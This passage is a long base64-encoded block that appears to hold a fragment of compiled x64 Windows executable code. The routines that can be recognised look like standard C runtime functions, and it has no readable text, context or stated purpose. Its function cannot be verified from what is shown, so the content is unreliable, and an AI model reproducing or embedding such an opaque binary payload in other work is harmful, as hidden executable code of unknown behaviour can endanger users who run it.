wzPAgfljc23gD5TAw0iLxEiJWAhIiXAQSIl4GEyJcCBBV0iD7CBBi/CL2kSL8UWFwHVKM8n/FSbZAABIhcB0PblNWgAAZjkIdTNIY0g8SAPIgTlQRQAAdSS4CwIAAGY5QRh1GYO5hAAAAA52EDmx+AAAAHQIQYvO6EgBAAC5AgAAAOhaIwAAkIA9WooBAAAPhbIAAABBvwEAAABBi8eHBTWKAQCF23VISIs9IngBAIvXg+I/jUtAK8ozwEjTyEgzx0iLDRmKAQBIO8h0Gkgz+YvKSNPPSIvP/xWL2gAARTPAM9Izyf/XSI0NO4oBAOsMQTvfdQ1IjQ1FigEA6PAGAACQhdt1E0iNFdzaAABIjQ212gAA6CT+//9IjRXZ2gAASI0NytoAAOgR/v//D7YFtokBAIX2QQ9Ex4gFqokBAOsG6M8IAACQuQIAAADo5CIAAIX2dQlBi87oHAAAAMxIi1wkMEiLdCQ4SIt8JEBMi3QkSEiDxCBBX8NAU0iD7CCL2ejvHQAAhMB0KGVIiwQlYAAAAIuQvAAAAMHqCPbCAXUR/xV61wAASIvIi9P/Ff/XAACLy+gMAAAAi8v/FVDXAADMzMzMSIlcJAhXSIPsIEiDZCQ4AEyNRCQ4i/lIjRVW5gAAM8n/FYbYAACFwHQnSItMJDhIjRVW5gAA/xUI1wAASIvYSIXAdA1Ii8j/FVfZAACLz//TSItMJDhIhcl0Bv8VG9gAAEiLXCQwSIPEIF/DSIkNqYgBAMO6AgAAADPJRI1C/+nE/f//M9IzyUSNQgHpt/3//8zMzEUzwEGNUALpqP3//0iD7ChMiwVhdgEASIvRQYvAuUAAAACD4D8ryDPASNPISTPASDkFUogBAHUSSNPKSTPQSIkVQ4gBAEiDxCjD6G0HAADMRTPAM9LpWv3//8zMSIPsKI2BAMD//6n/P///dRKB+QDAAAB0CocNoZABADPA6xXocBYAAMcAFgAAAOhFFQAAuBYAAABIg8Qow8zMzEiD7Cj/FXrXAABIiQX7hwEA/xVF1gAASIkF9ocBALABSIPEKMPMzMxIjQXJhwEAw0iNBcWHAQDDuAEAAACHBeGHAQDDQFdIg+wgSI09O3cBAEg5PfyPAQB0K7kEAAAA6IggAACQSIvXSI0N5Y8BAOjkawAASIkF2Y8BALkEAAAA6LsgAABIg8QgX8PMQFNIg+wgi9noyzcAAESLgKgDAABBi9CA4gL22hvJg/v/dDaF23Q5g/sBdCCD+wJ0FeiWFQAAxwAWAAAA6GsUAACDyP/rHUGD4P3rBEGDyAJEiYCoAwAA6weDDQB+AQD/jUECSIPEIFvDzMzMiwUqhwEAw8xIg+wog/kBdhXoShUAAMcAFgAAAOgfFAAAg8j/6wiHDQSHAQCLwUiDxCjDzEiNBfmGAQDDSIlcJAhMiUwkIFdIg+wgSYvZSYv4iwronB8AAJBIi8/otwEAAIv4iwvo3h8AAIvHSItcJDBIg8QgX8PMSIlcJAhIiXQkEEyJTCQgV0FUQVVBVkFXSIPsQEmL+U2L+IsK6FMfAACQSYsHSIsQSIXSdQlIg8v/6UABAABIizUndAEARIvGQYPgP0iL/kgzOkGLyEjTz0iJfCQwSIveSDNaCEjTy0iJXCQgSI1H/0iD+P0Ph/oAAABMi+dIiXwkKEyL80iJXCQ4Qb1AAAAAQYvNQSvIM8BI08hIM8ZIg+sISIlcJCBIO99yDEg5A3UC6+tIO99zSkiDy/9IO/t0D0iLz+gPBQAASIs1nHMBAIvGg+A/RCvoQYvNM9JI08pIM9ZJiwdIiwhIiRFJiwdIiwhIiVEISYsHSIsISIlREOtyi86D4T9IMzNI085IiQNIi87/FevVAAD/1kmLB0iLEEiLNURzAQBEi8ZBg+A/TIvOTDMKQYvISdPJSItCCEgzxkjTyE07zHUFSTvGdCBNi+FMiUwkKEmL+UyJTCQwTIvwSIlEJDhIi9hIiUQkIOkc////SIu8JIgAAAAz24sP6EseAACLw0iLXCRwSIt0JHhIg8RAQV9BXkFdQVxfw8xIi8RIiVgISIloEEiJcBhIiXggQVRBVkFXSIPsIEiLATP2TIv5SIsYSIXbdQiDyP/phgEAAEyLBZByAQBBvEAAAABIiytBi8hMi0sIg+E/SItbEEkz6E0zyEjTzUkz2EnTyUjTy0w7yw+FxwAAAEgr3bgAAgAASMH7A0g72EiL+0gPR/hBjUQk4EgD+0gPRPhIO/tyH0WNRCTISIvXSIvN6AtpAAAzyUyL8OiJAwAATYX2dShIjXsEQbgIAAAASIvXSIvN6OdoAAAzyUyL8OhlAwAATYX2D4RR////TIsF6XEBAE2NDN5Bi8BJjRz+g+A/QYvMK8hIi9ZI08pIi8NJK8FJM9BIg8AHSYvuSMHoA0mLyUw7y0gPR8ZIhcB0Fkj/xkiJEUiNSQhIO/B18UyLBZdxAQBBi8BBi8yD4D8ryEmLRwhIixBBi8RI08pJM9BNjUEISYkRSIsVbnEBAIvKg+E/K8GKyEmLB0jTzUgz6kiLCEiJKUGLzEiLFUxxAQCLwoPgPyvISYsHSdPITDPCSIsQTIlCCEiLFS5xAQCLwoPgP0Qr4EmLB0GKzEjTy0gz2kiLCDPASIlZEEiLXCRASItsJEhIi3QkUEiLfCRYSIPEIEFfQV5BXMPMzEiL0UiNDT6DAQDpfQAAAMxMi9xJiUsISIPsOEmNQwhJiUPoTY1LGLgCAAAATY1D6EmNUyCJRCRQSY1LEIlEJFjoP/z//0iDxDjDzMxFM8lMi8FIhcl1BIPI/8NIi0EQSDkBdSRIixWFcAEAuUAAAACLwoPgPyvISdPJTDPKTYkITYlICE2JSBAzwMPMSIlUJBBIiUwkCFVIi+xIg+xASI1FEEiJRehMjU0oSI1FGEiJRfBMjUXouAIAAABIjVXgSI1NIIlFKIlF4Oh6+///SIPEQF3DSI0FxXEBAEiJBYaKAQCwAcPMzMxIg+woSI0NVYIBAOhU////SI0NYYIBAOhI////sAFIg8Qow8xIg+wo6OP1//+wAUiDxCjDsAHDzEBTSIPsIEiLFcNvAQC5QAAAAIvCM9uD4D8ryEjTy0gz2kiLy+hTDgAASIvL6C9oAABIi8voG2kAAEiLy+h/7v//SIvL6Of4//+wAUiDxCBbw8zMzDPJ6TW5///MQFNIg+wgSIsNr3QBAIPI//APwQGD+AF1H0iLDZx0AQBIjR1tcgEASDvLdAzorwAAAEiJHYR0AQBIiw2diQEA6JwAAABIiw2ZiQEAM9tIiR2IiQEA6IcAAABIiw00gQEASIkdfYkBAOh0AAAASIsNKYEBAEiJHRqBAQDoYQAAALABSIkdFIEBAEiDxCBbw8zMSI0VXd8AAEiNDWbeAADpfWYAAMxIjRVJ3wAASI0NUt4AAOn9ZgAAzEBTSIPsIOg5MQAASItYGEiF23QNSIvL/xU30QAA/9PrAOgCAQAAkMxIhcl0N1NIg+wgTIvBM9JIiw0uiQEA/xUw0AAAhcB1F+jrDgAASIvY/xWOzgAAi8joIw4AAIkDSIPEIFvDzMzMQFNIg+wgSIvZSIP54Hc8SIXJuAEAAABID0TY6xXoTvn//4XAdCVIi8vovmYAAIXAdBlIiw3LiAEATIvDM9L/FdDPAABIhcB01OsN6IAOAADHAAwAAAAzwEiDxCBbw8zMQFNIg+wgM9tIhcl0DEiF0nQHTYXAdRuIGehSDgAAuxYAAACJGOgmDQAAi8NIg8QgW8NMi8lMK8FDigQIQYgBSf/BhMB0BkiD6gF17EiF0nXZiBnoGA4AALsiAAAA68TMSIPsKOjfZgAASIXAdAq5FgAAAOggZwAA9gW9bgEAAnQpuRcAAADo17QAAIXAdAe5BwAAAM0pQbgBAAAAuhUAAEBBjUgC6JoKAAC5AwAAAOjI9v//zMzMzEBTSIPsIEyLwkiL2UiFyXQOM9JIjULgSPfzSTvAckNJD6/YuAEAAABIhdtID0TY6xXoIvj//4XAdChIi8vokmUAAIXAdBxIiw2fhwEATIvDuggAAAD/FaHOAABIhcB00esN6FENAADHAAwAAAAzwEiDxCBbw8zMzPbBBHQDsAHD9sEBdBmD4QJ0CIH6AAAAgHfrhcl1CIH6////f3ffMsDDzMzMSIlcJAhIiXQkGEiJfCQgVUFUQVVBVkFXSIvsSIPsQEiDOgBFiuFFi/hIi9p1JujhDAAAxwAWAAAA6LYLAABIi0sISIXJdAZIiwNIiQEzwOmhAgAARYXAdAlBjUD+g/gid8xIi9FIjU3g6LrF//9Miysz9kiLVehMiW04QYp9AEmNRQFEjW4ISIkDg3oIAUAPtsd+FEyNRehBi9WLyOimaAAASItV6OsNSIvISIsCD7cESEEjxYXAdAtIiwNAijhI/8Drw0Uz9kWE5EEPlcZAgP8tdQZBg84C6wZAgP8rdQxIiwNAijhI/8BIiQNMi204QYPM/0H3x+////8PhYAAAACNR9A8CXcJQA++x4PA0OsjjUefPBl3CUAPvseDwKnrE41HvzwZdwlAD77Hg8DJ6wNBi8RBuQgAAACFwHQLRYX/dURFjXkC6z5IiwOKEEiNSAFIiQuNQqio33RHRYX/RQ9E+Uj/yUiJC4TSdBo4EXQW6J4LAADHABYAAADocwoAAEG5CAAAADPSQYvEQff3RIvAjU/QgPkJdyFAD77Pg8HQ6ztAijm4EAAAAEWF/0QPRPhIjUEBSIkD68yNR588GXcJQA++z4PBqesTjUe/PBl3CUAPvs+DwcnrA0GLzEE7zHQtQTvPcyhFC/FBO/ByDHUEO8p2BkGDzgTrBkEPr/cD8UiLA0CKOEj/wEiJA+uCSP8LSIsDQIT/dBVAODh0EOjvCgAAxwAWAAAA6MQJAABB9sYIdR2AffgATIkrD4T7/f//SItF4IOgqAMAAP3p6/3//4vWQYvO6Hf9//+EwHRq6K4KAADHACIAAABB9sYBdQVBi/TrXEH2xgJ0J4B9+AB0C0iLReCDoKgDAAD9SItLCEiFyXQGSIsDSIkBuAAAAIDrUYB9+AB0C0iLReCDoKgDAAD9SItLCEiFyXQGSIsDSIkBuP///3/rKkH2xgJ0AvfegH34AHQLSItN4IOhqAMAAP1Ii0MISIXAdAZIiwtIiQiLxkyNXCRASYtbMEmLc0BJi3tISYvjQV9BXkFdQVxdw8xIiVwkCEiJbCQYSIl0JCBXQVRBVUFWQVdIg+xQRTPtQYrxRYv4SIv6TDkqdSbozgkAAMcAFgAAAOijCAAASItPCEiFyXQGSIsHSIkBM8DpYwYAAEWFwHQJQY1A/oP4InfMSIvRSI1MJCjopsL//0yLJ0WL9UyJZCQgvQgAAABBD7ccJEmNRCQC6wpIiwcPtxhIg8ACi9VIiQcPt8voI2UAAIXAdeVAhPZBi+1AD5XFZoP7LXUFg80C6wZmg/srdQ1IiwcPtxhIg8ACSIkHvuYJAADHhCSIAAAAagYAAEGDyf+5YAYAAEG6MAAAAEG7EP8AALrwBgAAuGYKAABEjUaAQffH7////w+FfwIAAGZBO9oPgsoBAABmg/s6cwsPt8NBK8LptAEAAGZBO9sPg5UBAABmO9kPgqYBAABmO5wkiAAAAHMKD7fDK8HpjQEAAGY72g+CiQEAALn6BgAAZjvZcwoPt8MrwulwAQAAZkE72A+CawEAALlwCQAAZjvZcwsPt8NBK8DpUQEAAGY73g+CTQEAALnwCQAAZjvZcwoPt8Mrxuk0AQAAZjvYD4IwAQAAuHAKAABmO9hzDQ+3wy1mCgAA6RQBAAC55goAAGY72Q+CCwEAAI1BCmY72A+CY////41IdmY72Q+C8wAAAI1BCmY72A+CS////7lmDAAAZjvZD4LZAAAAjUEKZjvYD4Ix////jUh2ZjvZD4LBAAAAjUEKZjvYD4IZ////jUh2ZjvZD4KpAAAAjUEKZjvYD4IB////uVAOAABmO9kPgo8AAACNQQpmO9gPguf+//+NSHZmO9lye41BCmY72A+C0/7//41IRmY72XJnjUEKZjvYD4K//v//uUAQAABmO9lyUY1BCmY72A+Cqf7//7ngFwAAZjvZcjuNQQpmO9gPgpP+//+NSCZmO9lyJ41BCmY72HMf6X7+//+4Gv8AAGY72HMID7fDQSvD6wODyP+D+P91KY1Dv2aD+Bl2Do1Dn2aD+Bl2BUGLwesSjUOfZoP4GQ+3w3cDg+ggg8DJvggAAACFwHQLRYX/dXlEjX4C63NIiwdBuN//AAAPtxBIjUgCSIkPjUKoZkGFwHQ6RYX/RA9E/kiDwf5IiQ9mhdJ0RGY5EXQ/6KkGAADHABYAAADofgUAAEGDyf9BujAAAABBuxD/AADrHQ+3GbgQAAAARYX/RA9E+EiNQQJIiQfrBb4IAAAAM9JBi8FB9/dBvWAGAABBvPAGAABEi8BmQTvaD4KuAQAAZoP7OnMLD7fLQSvK6ZgBAABmQTvbD4N5AQAAZkE73Q+CiQEAALhqBgAAZjvYcwsPt8tBK83pbwEAAGZBO9wPgmoBAAC4+gYAAGY72HMLD7fLQSvM6VABAAC4ZgkAAGY72A+CRwEAAI1ICmY72XMKD7fLK8jpMAEAALjmCQAAZjvYD4InAQAAjUgKZjvZcuCNQXZmO9gPghMBAACNSApmO9lyzI1BdmY72A+C/wAAAI1ICmY72XK4jUF2ZjvYD4LrAAAAjUgKZjvZcqS4ZgwAAGY72A+C1QAAAI1ICmY72XKOjUF2ZjvYD4LBAAAAjUgKZjvZD4J2////jUF2ZjvYD4KpAAAAjUgKZjvZD4Je////uFAOAABmO9gPgo8AAACNSApmO9kPgkT///+NQXZmO9hye41ICmY72Q+CMP///41BRmY72HJnjUgKZjvZD4Ic////uEAQAABmO9hyUY1ICmY72Q+CBv///7jgFwAAZjvYcjuNSApmO9kPgvD+//+NQSZmO9hyJ41ICmY72XMf6dv+//+4Gv8AAGY72HMID7fLQSvL6wODyf+D+f91KY1Dv2aD+Bl2Do1Dn2aD+Bl2BUGLyesSjUOfD7fLZoP4GXcDg+kgg8HJQTvJdDBBO89zKwvuRTvwcgt1BDvKdgWDzQTrB0UPr/dEA/FIiwcPtxhIg8ACSIkH6er9//9Igwf+RTPtSIsHTItkJCBmhdt0FWY5GHQQ6CQEAADHABYAAADo+QIAAECE7nUfTIknRDhsJEAPhEP6//9Ii0QkKIOgqAMAAP3pMvr//0GL1ovN6Kv2//+EwHRv6OIDAADHACIAAABA9sUBdQZBg87/62FA9sUCdClEOGwkQHQMSItEJCiDoKgDAAD9SItPCEiFyXQGSIsHSIkBuAAAAIDrV0Q4bCRAdAxIi0QkKIOgqAMAAP1Ii08ISIXJdAZIiwdIiQG4////f+suQPbFAnQDQffeRDhsJEB0DEiLTCQog6GoAwAA/UiLVwhIhdJ0BkiLD0iJCkGLxkyNXCRQSYtbMEmLa0BJi3NISYvjQV9BXkFdQVxfw0iJXCQQSIl0JBhVV0FWSI2sJBD7//9IgezwBQAASIsFjGIBAEgzxEiJheAEAABBi/iL8ovZg/n/dAXooaX//zPSSI1MJHBBuJgAAADoT6z//zPSSI1NEEG40AQAAOg+rP//SI1EJHBIiUQkSEiNTRBIjUUQSIlEJFD/FenCAABMi7UIAQAASI1UJEBJi85FM8D/FdnCAABIhcB0NkiDZCQ4AEiNTCRgSItUJEBMi8hIiUwkME2LxkiNTCRYSIlMJChIjU0QSIlMJCAzyf8VpsIAAEiLhQgFAABIiYUIAQAASI2FCAUAAEiDwAiJdCRwSImFqAAAAEiLhQgFAABIiUWAiXwkdP8VvcIAADPJi/j/FXPCAABIjUwkSP8VYMIAAIXAdRCF/3UMg/v/dAeLy+ispP//SIuN4AQAAEgzzOitm///TI2cJPAFAABJi1soSYtzMEmL40FeX13DzEiJDdVzAQDDSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsMEGL+UmL8EiL6kyL8eg+JAAASIXAdEFIi5i4AwAASIXbdDVIi8v/FaDDAABEi89Mi8ZIi9VJi85Ii8NIi1wkQEiLbCRISIt0JFBIi3wkWEiDxDBBXkj/4EiLHdVgAQCLy0gzHVRzAQCD4T9I08tIhdt1sEiLRCRgRIvPTIvGSIlEJCBIi9VJi87oIgAAAMzMSIPsOEiDZCQgAEUzyUUzwDPSM8noP////0iDxDjDzMxIg+wouRcAAADo5KcAAIXAdAe5BQAAAM0pQbgBAAAAuhcEAMBBjUgB6Kf9////FaHAAABIi8i6FwQAwEiDxChI/yUewQAAzMwzwEyNDbPQAABJi9FEjUAIOwp0K//ASQPQg/gtcvKNQe2D+BF3BrgNAAAAw4HBRP///7gWAAAAg/kOQQ9GwMNBi0TBBMPMzMxIiVwkCFdIg+wgi/no/yIAAEiFwHUJSI0FJ2EBAOsESIPAJIk46OYiAABIjR0PYQEASIXAdARIjVggi8/od////4kDSItcJDBIg8QgX8PMzEiD7CjotyIAAEiFwHUJSI0F32ABAOsESIPAJEiDxCjDSIPsKOiXIgAASIXAdQlIjQW7YAEA6wRIg8AgSIPEKMNIiVwkCEiJbCQQSIl0JBhXQVRBVUFWQVdIg+wgRIvxTI09Pn///02L4UmL6EyL6kuLjPcw8wEATIsVJl8BAEiDz/9Bi8JJi9JIM9GD4D+KyEjTykg71w+EJQEAAEiF0nQISIvC6RoBAABNO8EPhKMAAACLdQBJi5z3kPIBAEiF23QHSDvfdHrrc02LvPfwUQEAM9JJi89BuAAIAAD/FSK/AABIi9hIhcB1IP8V3L4AAIP4V3UTRTPAM9JJi8//FQG/AABIi9jrAjPbTI09k37//0iF23UNSIvHSYeE95DyAQDrHkiLw0mHhPeQ8gEASIXAdAlIi8v/Fdi/AABIhdt1VUiDxQRJO+wPhWT///9MixVPXgEAM9tIhdt0SkmL1UiLy/8VdL4AAEiFwHQyTIsFMF4BALpAAAAAQYvIg+E/K9GKykiL0EjTykkz0EuHlPcw8wEA6y1MixUHXgEA67hMixX+XQEAQYvCuUAAAACD4D8ryEjTz0kz+kuHvPcw8wEAM8BIi1wkUEiLbCRYSIt0JGBIg8QgQV9BXkFdQVxfw0iLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7FBBi/lJi/CL6kyNDcTUAABMi/FMjQWy1AAASI0Vs9QAALkBAAAA6B3+//9Ii9hIhcB0V0iLyP8VCMAAAEiLjCSgAAAARIvPSIuEJIAAAABMi8ZIiUwkQIvVSIuMJJgAAABIiUwkOEiLjCSQAAAASIlMJDCLjCSIAAAAiUwkKEmLzkiJRCQg/9PrMjPSSYvO6BwDAACLyESLz4uEJIgAAABMi8aJRCQoi9VIi4QkgAAAAEiJRCQg/xW4vgAASItcJGBIi2wkaEiLdCRwSIt8JHhIg8RQQV7DzEiJXCQIV0iD7CBIi/lMjQ0A1AAAuQMAAABMjQXs0wAASI0VxcAAAOhE/f//SIvYSIXAdBBIi8j/FS+/AABIi8//0+sG/xXavQAASItcJDBIg8QgX8PMzMxIiVwkCFdIg+wgi9lMjQ2x0wAAuQQAAABMjQWd0wAASI0VhsAAAOjt/P//SIv4SIXAdA9Ii8j/Fdi+AACLy//X6wiLy/8Vmr0AAEiLXCQwSIPEIF/DzMzMSIlcJAhXSIPsIIvZTI0NYdMAALkFAAAATI0FTdMAAEiNFTbAAADolfz//0iL+EiFwHQPSIvI/xWAvgAAi8v/1+sIi8v/FTK9AABIi1wkMEiDxCBfw8zMzEiJXCQISIl0JBBXSIPsIEiL2kyNDQvTAACL+UiNFfq/AAC5BgAAAEyNBe7SAADoNfz//0iL8EiFwHQSSIvI/xUgvgAASIvTi8//1usLSIvTi8//FdS8AABIi1wkMEiLdCQ4SIPEIF/DSIlcJAhIiWwkEEiJdCQYV0iD7CBBi+hMjQ3G0gAAi9pMjQW10gAASIv5SI0Vm78AALkUAAAA6MX7//9Ii/BIhcB0FUiLyP8VsL0AAESLxYvTSIvP/9brC4vTSIvP/xVJvAAASItcJDBIi2wkOEiLdCRASIPEIF/DSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsUEGL+UmL8IvqTI0NTNIAAEyL8UyNBTrSAABIjRU70gAAuRYAAADoRfv//0iL2EiFwHRXSIvI/xUwvQAASIuMJKAAAABEi89Ii4QkgAAAAEyLxkiJTCRAi9VIi4wkmAAAAEiJTCQ4SIuMJJAAAABIiUwkMIuMJIgAAACJTCQoSYvOSIlEJCD/0+syM9JJi87oRAAAAIvIRIvPi4QkiAAAAEyLxolEJCiL1UiLhCSAAAAASIlEJCD/Fei7AABIi1wkYEiLbCRoSIt0JHBIi3wkeEiDxFBBXsPMSIlcJAhIiXQkEFdIg+wgi/JMjQ2E0QAASIvZSI0VetEAALkYAAAATI0FZtEAAOhl+v//SIv4SIXAdBJIi8j/FVC8AACL1kiLy//X6whIi8voL1gAAEiLXCQwSIt0JDhIg8QgX8PMzMxIiXwkCEiLFYhZAQBIjT2xbAEAi8K5QAAAAIPgPyvIM8BI08i5IAAAAEgzwvNIq0iLfCQIsAHDzEiJXCQQV0iD7CCLBXxtAQAz24XAdAiD+AEPlMDrXEyNDZfQAAC5CAAAAEyNBYPQAABIjRWE0AAA6Lv5//9Ii/hIhcB0KEiLyIlcJDD/FaK7AAAz0kiNTCQw/9eD+Hp1DY1Ih7ABhw0hbQEA6w24AgAAAIcFFG0BADLASItcJDhIg8QgX8PMzMxAU0iD7CCEyXUvSI0dU2sBAEiLC0iFyXQQSIP5/3QG/xUfugAASIMjAEiDwwhIjQXQawEASDvYddiwAUiDxCBbw8zMzEiJXCQIV0iD7DCDZCQgALkIAAAA6IcDAACQuwMAAACJXCQkOx0naQEAdG5IY/tIiwUjaQEASIsE+EiFwHUC61WLSBTB6Q32wQF0GUiLDQZpAQBIiwz56HVXAACD+P90BP9EJCBIiwXtaAEASIsM+EiDwTD/FVe5AABIiw3YaAEASIsM+ehz6f//SIsFyGgBAEiDJPgA/8PrhrkIAAAA6FEDAACLRCQgSItcJEBIg8QwX8PMzEBTSIPsIEiL2YtBFMHoDagBdCeLQRTB6AaoAXQdSItJCOgi6f//8IFjFL/+//8zwEiJQwhIiQOJQxBIg8QgW8NIi8RIiVgISIloEEiJcBhIiXggQVZIgeyQAAAASI1IiP8VDrgAAEUz9mZEOXQkYg+EmAAAAEiLRCRoSIXAD4SKAAAASGMYSI1wBL8AIAAASAPeOTgPTDiLz+gmQwAAOz14bwEAD089cW8BAIX/dF5Bi+5Igzv/dEVIgzv+dD/2BgF0OvYGCHUNSIsL/xXjuAAAhcB0KEiLzUiNFT1rAQCD4T9Ii8VIwfgGSMHhBkgDDMJIiwNIiUEoigaIQThI/8VI/8ZIg8MISIPvAXWlTI2cJJAAAABJi1sQSYtrGEmLcyBJi3soSYvjQV7DzEiJXCQISIl0JBBIiXwkGEFWSIPsIDP/RTP2SGPfSI0NzGoBAEiLw4PjP0jB+AZIweMGSAMcwUiLQyhIg8ACSIP4AXYJgEs4gOmJAAAAxkM4gYvPhf90FoPpAXQKg/kBufT////rDLn1////6wW59v////8VsLcAAEiL8EiNSAFIg/kBdgtIi8j/Ffq3AADrAjPAhcB0HQ+2yEiJcyiD+QJ1BoBLOEDrLoP5A3UpgEs4COsjgEs4QEjHQyj+////SIsFsmYBAEiFwHQLSYsEBsdAGP7/////x0mDxgiD/wMPhTX///9Ii1wkMEiLdCQ4SIt8JEBIg8QgQV7DzEBTSIPsILkHAAAA6LQAAAAz2zPJ6INBAACFwHUM6Pb9///o3f7//7MBuQcAAADo5QAAAIrDSIPEIFvDzEiJXCQIV0iD7CAz20iNPaVpAQBIiww7SIXJdAro70AAAEiDJDsASIPDCEiB+wAEAABy2bABSItcJDBIg8QgX8NAU0iD7CAz20iNFXltAQBFM8BIjQybSI0MyrqgDwAA6LD5//+FwHQR/wVibwEA/8OD+w1y07AB6wkzyegkAAAAMsBIg8QgW8NIY8FIjQyASI0FMm0BAEiNDMhI/yUHtgAAzMzMQFNIg+wgix0gbwEA6x1IjQUPbQEA/8tIjQybSI0MyP8V77UAAP8NAW8BAIXbdd+wAUiDxCBbw8xIY8FIjQyASI0F3mwBAEiNDMhI/yW7tQAAzMzMSIlcJAhMiUwkIFdIg+wgSYv5SYvYiwroBEEAAJBIiwNIYwhIi9FIi8FIwfgGTI0FjGgBAIPiP0jB4gZJiwTA9kQQOAF0JOjZQQAASIvI/xUMtgAAM9uFwHUe6H30//9Ii9j/FUC0AACJA+iN9P//xwAJAAAAg8v/iw/oxUAAAIvDSItcJDBIg8QgX8OJTCQISIPsOEhj0YP6/nUN6Fv0///HAAkAAADrbIXJeFg7FQ1sAQBzUEiLykyNBQFoAQCD4T9Ii8JIwfgGSMHhBkmLBMD2RAg4AXQtSI1EJECJVCRQiVQkWEyNTCRQSI1UJFhIiUQkIEyNRCQgSI1MJEjo/f7//+sT6PLz///HAAkAAADox/L//4PI/0iDxDjDzMzMSIlcJAhVVldBVEFVQVZBV0iL7EiB7IAAAABIiwU/UwEASDPESIlF8Ehj8kiNBW5nAQBMi/5Fi+FJwf8Gg+Y/SMHmBk2L8EyJRdhIi9lNA+BKiwT4SItEMChIiUXQ/xXltAAAM9KJRcxIiRNJi/6JUwhNO/QPg2QBAABEii9MjTUcZwEAZolVwEuLFP6KTDI99sEEdB6KRDI+gOH7iEwyPUG4AgAAAEiNVeCIReBEiG3h60XonEMAAA+2D7oAgAAAZoUUSHQpSTv8D4PvAAAAQbgCAAAASI1NwEiL1+ijDAAAg/j/D4T0AAAASP/H6xtBuAEAAABIi9dIjU3A6IMMAACD+P8PhNQAAABIg2QkOABIjUXoSINkJDAATI1FwItNzEG5AQAAAMdEJCgFAAAAM9JIiUQkIEj/x/8VubMAAESL8IXAD4SUAAAASItN0EyNTchIg2QkIABIjVXoRIvA/xV7swAAM9KFwHRri0sIK03YA8+JSwREOXXIcmJBgP0KdTRIi03QjUINSIlUJCBEjUIBSI1VxGaJRcRMjU3I/xU8swAAM9KFwHQsg33IAXIu/0MI/0MESTv86bb+//+KB0uLDP6IRDE+S4sE/oBMMD0E/0ME6wj/FayxAACJA0iLw0iLTfBIM8zos4v//0iLnCTAAAAASIHEgAAAAEFfQV5BXUFcX15dw0iJXCQISIlsJBhWV0FWuFAUAADoIJoAAEgr4EiLBTZRAQBIM8RIiYQkQBQAAEiL2Uxj0kmLwkGL6UjB+AZIjQ1UZQEAQYPiP0kD6IMjAEmL8INjBABIiwTBg2MIAEnB4gZOi3QQKEw7xXNvSI18JEBIO/VzJIoGSP/GPAp1Cf9DCMYHDUj/x4gHSP/HSI2EJD8UAABIO/hy10iDZCQgAEiNRCRAK/hMjUwkMESLx0iNVCRASYvO/xUcsgAAhcB0EotEJDABQwQ7x3IPSDv1cpvrCP8VqLAAAIkDSIvDSIuMJEAUAABIM8zoq4r//0yNnCRQFAAASYtbIEmLazBJi+NBXl9ew8zMzEiJXCQISIlsJBhWV0FWuFAUAADoGJkAAEgr4EiLBS5QAQBIM8RIiYQkQBQAAEiL+Uxj0kmLwkGL6UjB+AZIjQ1MZAEAQYPiP0kD6IMnAEmL8INnBABIiwTBg2cIAEnB4gZOi3QQKEw7xQ+DggAAAEiNXCRASDv1czEPtwZIg8YCZoP4CnUQg0cIArkNAAAAZokLSIPDAmaJA0iDwwJIjYQkPhQAAEg72HLKSINkJCAASI1EJEBIK9hMjUwkMEjR+0iNVCRAA9tJi85Ei8P/Ff2wAACFwHQSi0QkMAFHBDvDcg9IO/VyiOsI/xWJrwAAiQdIi8dIi4wkQBQAAEgzzOiMif//TI2cJFAUAABJi1sgSYtrMEmL40FeX17DSIlcJAhIiWwkGFZXQVRBVkFXuHAUAADo+JcAAEgr4EiLBQ5PAQBIM8RIiYQkYBQAAExj0kiL2UmLwkWL8UjB+AZIjQ0sYwEAQYPiP00D8EnB4gZNi/hJi/hIiwTBTotkECgzwIMjAEiJQwRNO8YPg88AAABIjUQkUEk7/nMtD7cPSIPHAmaD+Qp1DLoNAAAAZokQSIPAAmaJCEiDwAJIjYwk+AYAAEg7wXLOSINkJDgASI1MJFBIg2QkMABMjUQkUEgrwcdEJChVDQAASI2MJAAHAABI0fhIiUwkIESLyLnp/QAAM9L/FeCvAACL6IXAdEkz9oXAdDNIg2QkIABIjZQkAAcAAIvOTI1MJEBEi8VIA9FJi8xEK8b/FZWvAACFwHQYA3QkQDv1cs2Lx0Erx4lDBEk7/ukz/////xUbrgAAiQNIi8NIi4wkYBQAAEgzzOgeiP//TI2cJHAUAABJi1swSYtrQEmL40FfQV5BXF9ew8zMSIlcJBBIiXQkGIlMJAhXQVRBVUFWQVdIg+wgRYv4TIviSGPZg/v+dRjo7u3//4MgAOgG7v//xwAJAAAA6ZAAAACFyXh0Ox21ZQEAc2xIi/NMi/NJwf4GTI0tomEBAIPmP0jB5gZLi0T1AA+2TDA4g+EBdEWLy+jlOQAAg8//S4tE9QD2RDA4AXUV6K3t///HAAkAAADogu3//4MgAOsPRYvHSYvUi8voQAAAAIv4i8vozzkAAIvH6xvoXu3//4MgAOh27f//xwAJAAAA6Evs//+DyP9Ii1wkWEiLdCRgSIPEIEFfQV5BXUFcX8NIiVwkIFVWV0FUQVVBVkFXSIvsSIPsYDP/RYv4TGPhSIvyRYXAdQczwOmbAgAASIXSdR/o+Oz//4k46BHt///HABYAAADo5uv//4PI/+l3AgAATYv0SI0FuGABAEGD5j9Ni+xJwf0GScHmBkyJbfBKiwzoQopcMTmNQ/88AXcJQYvH99CoAXSrQvZEMTggdA4z0kGLzESNQgLo1k0AAEGLzEiJfeDo1ksAAIXAD4QBAQAASI0FW2ABAEqLBOhC9kQwOIAPhOoAAADojg4AAEiLiJAAAABIObk4AQAAdRZIjQUvYAEASosE6EI4fDA5D4S/AAAASI0FGWABAEqLDOhIjVX4SotMMSj/FbatAACFwA+EnQAAAITbdHv+y4D7AQ+HKwEAACF90E6NJD4z20yL/old1Ek79A+DCQEAAEUPty9BD7fN6DJNAABmQTvFdTODwwKJXdRmQYP9CnUbQb0NAAAAQYvN6BFNAABmQTvFdRL/w4ld1P/HSYPHAk07/HML67r/FXOrAACJRdBMi23w6bEAAABFi89IjU3QTIvGQYvU6M33///yDxAAi3gI6ZgAAABIjQVaXwEASosM6EL2RDE4gHRND77LhNt0MoPpAXQZg/kBdXlFi89IjU3QTIvGQYvU6Jv6///rvEWLz0iNTdBMi8ZBi9Too/v//+uoRYvPSI1N0EyLxkGL1Ohr+f//65RKi0wxKEyNTdQhfdAzwEghRCQgRYvHSIvWSIlF1P8VHqwAAIXAdQn/FbyqAACJRdCLfd